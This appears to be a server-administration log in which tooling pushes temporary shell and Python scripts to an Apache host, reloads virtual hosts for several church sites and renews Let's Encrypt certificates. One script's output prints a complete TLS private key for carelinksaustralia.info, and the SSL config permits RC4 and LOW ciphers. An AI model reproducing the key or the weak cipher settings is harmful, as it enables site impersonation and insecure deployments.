cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-12-14 06:01:04:
chmod 755 /tmp/pkp577814; /tmp/pkp577814; rm /tmp/pkp577814
2025-12-14 06:01:04:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf 51
<VirtualHost *:80>
ServerName carelinksaustralia.info
ServerAdmin do_not_email@example.com
ServerAlias www.carelinksaustralia.info
DocumentRoot /var/www/carelinksaustralia_www
<Directory /var/www/carelinksaustralia_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/carelinksaustralia/www_access.log combined
ErrorLog /var/log/apache2/carelinksaustralia/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName carelinksaustralia.info
ServerAdmin do_not_email@example.com
ServerAlias www.carelinksaustralia.info
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/01bea5c16e52f9c5f2fcf9fea9a569f2.crt
DocumentRoot /var/www/carelinksaustralia_www
<Directory /var/www/carelinksaustralia_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/carelinksaustralia/www_secure_access.log combined
ErrorLog /var/log/apache2/carelinksaustralia/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-12-14 06:01:04:
PUT: /tmp/pkp915112
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=carelinksaustralia_www_info.conf
TARGET=/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName carelinksaustralia.info
ServerAdmin do_not_email@example.com
ServerAlias www.carelinksaustralia.info
DocumentRoot /var/www/carelinksaustralia_www
<Directory /var/www/carelinksaustralia_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/carelinksaustralia/www_access.log combined
ErrorLog /var/log/apache2/carelinksaustralia/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName carelinksaustralia.info
ServerAdmin do_not_email@example.com
ServerAlias www.carelinksaustralia.info
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/01bea5c16e52f9c5f2fcf9fea9a569f2.crt
DocumentRoot /var/www/carelinksaustralia_www
<Directory /var/www/carelinksaustralia_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/carelinksaustralia/www_secure_access.log combined
ErrorLog /var/log/apache2/carelinksaustralia/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/carelinksaustralia_www_info.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf)= /etc/apache2//etc/apache2/sites-enabled/carelinksaustralia_www_info.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/carelinksaustralia_www_info.conf= 1'
fi
2025-12-14 06:01:04:
chmod 755 /tmp/pkp915112; /tmp/pkp915112; rm /tmp/pkp915112
2025-12-14 06:01:04:
2025-12-14 06:01:04:
PUT: /tmp/pkp688881
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-12-14 06:01:05:
chmod 755 /tmp/pkp688881; /tmp/pkp688881; rm /tmp/pkp688881
2025-12-14 06:01:05:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-12-14 06:01:05: Establishing a connection
2025-12-14 06:01:05:
PUT: /tmp/pkp832163
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-12-14 06:01:05:
chmod 755 /tmp/pkp832163; /tmp/pkp832163; rm /tmp/pkp832163
2025-12-14 06:01:05:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
alias www.baptizo.info
port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
alias www.bible-basics.info
port 80 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:2)
port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
alias www.biblebasicsonline.com
port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
alias www.carelinks-uk.org
port 80 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:2)
port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
alias www.carelinks.org.uk
port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
alias www.carelinksaustralia.info
port 80 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:2)
alias www.carelinksoutreach.info
port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
alias www.christadelphianfraternal.info
port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
alias www.croydonchurch.info
port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
alias www.dalmenynaroomabushwalkers.info
port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
alias www.freebible.info
port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
alias www.maminas.info
port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
alias www.osnowybiblii.info
port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
alias www.r-b-c.org
port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
alias www.realchrist.info
port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
alias www.vards.info
*:443 is a NameVirtualHost
default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
alias www.baptizo.info
port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
alias www.bible-basics.info
port 443 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:24)
port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
alias www.biblebasicsonline.com
port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
alias www.carelinks-uk.org
port 443 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:19)
port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
alias www.carelinks.org.uk
port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
alias www.carelinksaustralia.info
port 443 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:23)
alias www.carelinksoutreach.info
port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:19)
port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
alias www.christadelphianfraternal.info
port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
alias www.croydonchurch.info
port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
alias www.dalmenynaroomabushwalkers.info
port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:22)
port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
alias www.freebible.info
port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
alias www.maminas.info
port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
alias www.osnowybiblii.info
port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
alias www.r-b-c.org
port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
alias www.realchrist.info
port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
alias www.vards.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-12-14 06:01:05:
PUT: /tmp/pkp179708
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-14 06:01:05:
chmod 755 /tmp/pkp179708; /tmp/pkp179708; rm /tmp/pkp179708
2025-12-14 06:01:05:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf 1362
<VirtualHost *:80>
ServerName carelinksaustralia.info
ServerAdmin do_not_email@example.com
ServerAlias www.carelinksaustralia.info
DocumentRoot /var/www/carelinksaustralia_www
<Directory /var/www/carelinksaustralia_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/carelinksaustralia/www_access.log combined
ErrorLog /var/log/apache2/carelinksaustralia/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName carelinksaustralia.info
ServerAdmin do_not_email@example.com
ServerAlias www.carelinksaustralia.info
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/01bea5c16e52f9c5f2fcf9fea9a569f2.crt
DocumentRoot /var/www/carelinksaustralia_www
<Directory /var/www/carelinksaustralia_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/carelinksaustralia/www_secure_access.log combined
ErrorLog /var/log/apache2/carelinksaustralia/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-12-14 06:01:05:
PUT: /tmp/pkp116693
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/01bea5c16e52f9c5f2fcf9fea9a569f2.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-14 06:01:05:
chmod 755 /tmp/pkp116693; /tmp/pkp116693; rm /tmp/pkp116693
2025-12-14 06:01:05:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/01bea5c16e52f9c5f2fcf9fea9a569f2.crt 5409
fa:0d:52:84:eb:d8:65:cb:86:76:29:ea:cd:ba:b3:ca
-----BEGIN CERTIFICATE-----
MIIFJzCCBA+gAwIBAgISBWXn8CFBYYE2X2pDol8HCQCKMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjE0MDUwMjM0WhcNMjYwMzE0MDUwMjMzWjAiMSAwHgYDVQQD
ExdjYXJlbGlua3NhdXN0cmFsaWEuaW5mbzCCASIwDQYJKoZIhvcNAQEBBQADggEP
ADCCAQoCggEBAJThY5V9yHeTa42f8ezd+svipBbqPi+e4c1y/TS1+ejOphwt1FOK
8crDibHr0lipDa8kH/vQMSDCA6mt7/LPodB29mqr3vtsuhA3B3fjoVUPcTHl49NS
LjdFd2FHLcg8JC3a0pPzQ8fH4XNd7VVCJqmDmDOv12YfSYhhg7eQy9oFF3ughkAz
X1zN2GOC0SXDRmrDO+TiJKmpnRjxSmfUKgd00/pRy2vb/0u5R/Ah3JIi2WlsWEWl
XXaReT9uh8qYE8bRuaeCsV3q2wQfX9mLnvwQn32Kg/+CO0+qNLrY88uI9wrLbiqZ
HVtDx1kvoRWNLwvTwupCPrEGpvc30rd1bHECAwEAAaOCAkQwggJAMA4GA1UdDwEB
/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/
BAIwADAdBgNVHQ4EFgQUasN9M7PDiJOhJBgKJ8nkJBKZ540wHwYDVR0jBBgwFoAU
56ufDywzoFPTXk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAC
hhdodHRwOi8vcjEzLmkubGVuY3Iub3JnLzA/BgNVHREEODA2ghdjYXJlbGlua3Nh
dXN0cmFsaWEuaW5mb4Ibd3d3LmNhcmVsaW5rc2F1c3RyYWxpYS5pbmZvMBMGA1Ud
IAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTMuYy5s
ZW5jci5vcmcvMTEuY3JsMIIBBAYKKwYBBAHWeQIEAgSB9QSB8gDwAHYAZBHEbKQS
7KeJHKICLgC8q08oB9QeNSer6v7VA8l9zfAAAAGbG3LBjgAABAMARzBFAiEAqOZM
vIJ+LA1dwKPOEtYweXxlX7VUTKDTDPXv6XkuVyMCIG0Eje5zgNWmcKVXb8m0CI5t
XA3QImANh+xLNpK4uLUwAHYAyzj3FYl8hKFEX1vB3fvJbvKaWc1HCmkFhbDLFMMU
WOcAAAGbG3LBpwAABAMARzBFAiBva4YiU4L0+WKbNJogQ2LRn08la2LLkOdjhdT4
TbWsIwIhAIlYBgRTtysQ0vERN5/3FCLFRSA+Wqh7Xg6APmOzhHf/MA0GCSqGSIb3
DQEBCwUAA4IBAQCA6mNlQRO8S5axZeDUM0Mf9wrqb04enHXNs65UxwlMYrkb0lKE
CihuSC2ofACkAjnTTSB678q3prwF49VcakeXYm10JmTwSQeSJsuwg/NVE+7EMpEy
fhtkIbZU2xJeB+falbBuTdIbxdUYkqu6Od+IqBhmS44KrcKPpXp+gAJSVRV8oQZe
hGYvOqnKmBbsphujaPLtPjRtuUhJV5W0K9ehKsn+4HC3bM/NNt4lxbFgfaeCccCk
bgTSGIwgL0VnwSYO74Ef99q+S0USj0GOpEhGhww/hP/pwugbDctxkOsrAhwkpwwq
k2NO2C9c3Qlr50e3/njeLPszeRTCOoNBgj0u
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCU4WOVfch3k2uN
n/Hs3frL4qQW6j4vnuHNcv00tfnozqYcLdRTivHKw4mx69JYqQ2vJB/70DEgwgOp
re/yz6HQdvZqq977bLoQNwd346FVD3Ex5ePTUi43RXdhRy3IPCQt2tKT80PHx+Fz
Xe1VQiapg5gzr9dmH0mIYYO3kMvaBRd7oIZAM19czdhjgtElw0Zqwzvk4iSpqZ0Y
8Upn1CoHdNP6Uctr2/9LuUfwIdySItlpbFhFpV12kXk/bofKmBPG0bmngrFd6tsE
H1/Zi578EJ99ioP/gjtPqjS62PPLiPcKy24qmR1bQ8dZL6EVjS8L08LqQj6xBqb3
N9K3dWxxAgMBAAECggEAdYKxJ31wjXE+ozprqZpMKkFpYuzgyJWPhKoOUVyRNMBn
PDawMICq+G/+bwDDtlc5BdRtqkRZgpGgcn1nty9LeU9skCW4ipr3AXVt36M74/ec
UNYzTMjA0b9yysVzzWgq5kahj0WjajzKJlUszu63tXS43ZMdYO2xDIRrgqg3Po0y
GM48OGu1JFvFOtAtp4cFcSUQbuEe05oKn0z4E11OnfBSY5LxeZ972kDjzzOGDxMC
y54GwzOgyZG1/ImN1Xhu8RMoZiY4+zuEe3E2ZjjXMZFcaKcYIHEsAafYkj4+fbS9
xok+3IDcQGRvXHszS7zZWW5wTH65SMhOYkQ0LO53AQKBgQDE90S98RaonoR68/LJ
Yr3qMGwlgrATBhzYY9PgCfeQj5+JgrfQPAud7c/TiN9eqHP2mfeqko+IM54nsWOC
DfUjDVrltAxkVuZO8C3cUgnpfdLe1pw6JBTLiPSsLQQ67CittSXynoLbpPt8j90Z
hcbwXa72FFtFPnvwp6ojaIg2zQKBgQDBgKKgcmOEEMqLfOr4XLFclVlgPgBGHTX9
/XNzjN66Rgg0RsxRHia+Ct1ZZr+TW9IdBFiixCMx/8piCJ8LSNbc4a3QQzTmUb6h
L3iXcl5TpmyPWbWrIuJUNNWNVZO1fNsfT8CJYDh/8aqjoCyFyQX2Ws3jRQBdGipP
enVDsUJkNQKBgQCAieG5lykzV2ebmbH6zM6lk34wKI5hi96tNNCjZ73BAImbwsvU
QCtQoE69fJhQ/NvYtfgTv9udhhoTS0dmK1erzV5hg1OG89MO9tzm6D8BupQvypxf
sQZFIZaS+jnFfjK50fr2z40UbCGW04f1zQDcAjdY7kX19WYK0lBNFT23jQKBgQCt
P3Pbva72DmaaTwS9y5gM8bbs4XYzUHIH70XP/h9onc04qO7D7f/4BRg7tC/wSrSr
wDlvubZdTMyxy1BCtTuS1gheP938HNJV1H/e8ModkRL/oe1yxS/o/sj42tb+FkTG
GwyisuDDROdnysAyJFLPSGuwgRYbRZL+SAD305xCxQKBgGWqzuTw5a8QYav/FlHx
aN0dZrWvpodSZIYnXoKqvUcmolAzn7Et11aSU9S+tqk2qV+AcM9RTrSZ76LojNE7
lif5SMQfykXHNFWXvApOPXsvSlCboXX+gzoDUYUO5cOARaREjyEUZGxpwojwCi6y
O0qROnU0ysR45oWcD+AMOuSo
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2025-12-14 06:01:05: Establishing a connection
2025-12-14 06:01:05: Establishing a connection
2025-12-14 06:01:05:
PUT: /tmp/pkp195694
#!/bin/bash
if [ -d "/var/www/hopeinstoughton_media/.well-known" ]; then
echo 1
else
echo 0
fi
2025-12-14 06:01:05:
chmod 755 /tmp/pkp195694; /tmp/pkp195694; rm /tmp/pkp195694
2025-12-14 06:01:05:
1
2025-12-14 06:01:06: Establishing a connection
2025-12-14 06:01:06:
PUT: /tmp/pkp699466
#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_media/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_media/.well-known/acme-challenge/"
cat > eA8JXpXjNP-h_M3cepCRaBBwFX8c-8B4nSBbivTlYuM <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
eA8JXpXjNP-h_M3cepCRaBBwFX8c-8B4nSBbivTlYuM.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 eA8JXpXjNP-h_M3cepCRaBBwFX8c-8B4nSBbivTlYuM
2025-12-14 06:01:06:
chmod 755 /tmp/pkp699466; /tmp/pkp699466; rm /tmp/pkp699466
2025-12-14 06:01:06:
2025-12-14 06:01:15: Establishing a connection
2025-12-14 06:01:16:
PUT: /tmp/pkp953597
#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_media/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_media/.well-known/acme-challenge/"
rm eA8JXpXjNP-h_M3cepCRaBBwFX8c-8B4nSBbivTlYuM
2025-12-14 06:01:16:
chmod 755 /tmp/pkp953597; /tmp/pkp953597; rm /tmp/pkp953597
2025-12-14 06:01:16:
2025-12-14 06:01:16: Establishing a connection
2025-12-14 06:01:16:
PUT: /tmp/pkp926043
#!/bin/bash
temp_file=$(mktemp)
TARGET=761f20410d05cde2a6e96bdaa7145760.crt
cat > $temp_file <<'endmsg'
f3:fd:a7:e5:61:7c:f9:10:bb:b0:6f:fc:cc:97:05:1b
-----BEGIN CERTIFICATE-----
MIIFDzCCA/egAwIBAgISBePKCD4yAOGfoUMxuUJzOHMTMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjE0MDUwMjQ1WhcNMjYwMzE0MDUwMjQ0WjAkMSIwIAYDVQQD
ExltZWRpYS5ob3BlaW5zdG91Z2h0b24ub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOC
AQ8AMIIBCgKCAQEAx4sZ+Lp6LLo2r17jO32Otw7dsg42CIhhS6gVSGBLTNuc3ysK
isjadnl2EDiR0FQY8IBbefWzqoh2Zu/Fj75iRPpq1ex+OqrydU5QhUErucPCqynJ
jNexwHV7pJvm+V/1tSWLtNMoHqCTqwYhxM9T2787yY4w49MyZMGRVHZEC3RRw0r4
4x34OmUCCgDDK8PFgV8AzH9C4tK/IYCTaGxEEn68lxrzHVaaiCncKNyEOvUU1e5x
FyfSTwAmMn4JZ+ZZ+HEXegKV4RvkirU3Ny5ByPoN9Yi6W6t7H8ATgPIN7XX+tOI/
TCeLri6Nwnedn6xBye/xBxdPDq/sM5LvQpzsPQIDAQABo4ICKjCCAiYwDgYDVR0P
AQH/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMB
Af8EAjAAMB0GA1UdDgQWBBTGjNLkMRs4SAX+EJeu4Z3g+lFzGTAfBgNVHSMEGDAW
gBTnq58PLDOgU9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUH
MAKGF2h0dHA6Ly9yMTMuaS5sZW5jci5vcmcvMCQGA1UdEQQdMBuCGW1lZGlhLmhv
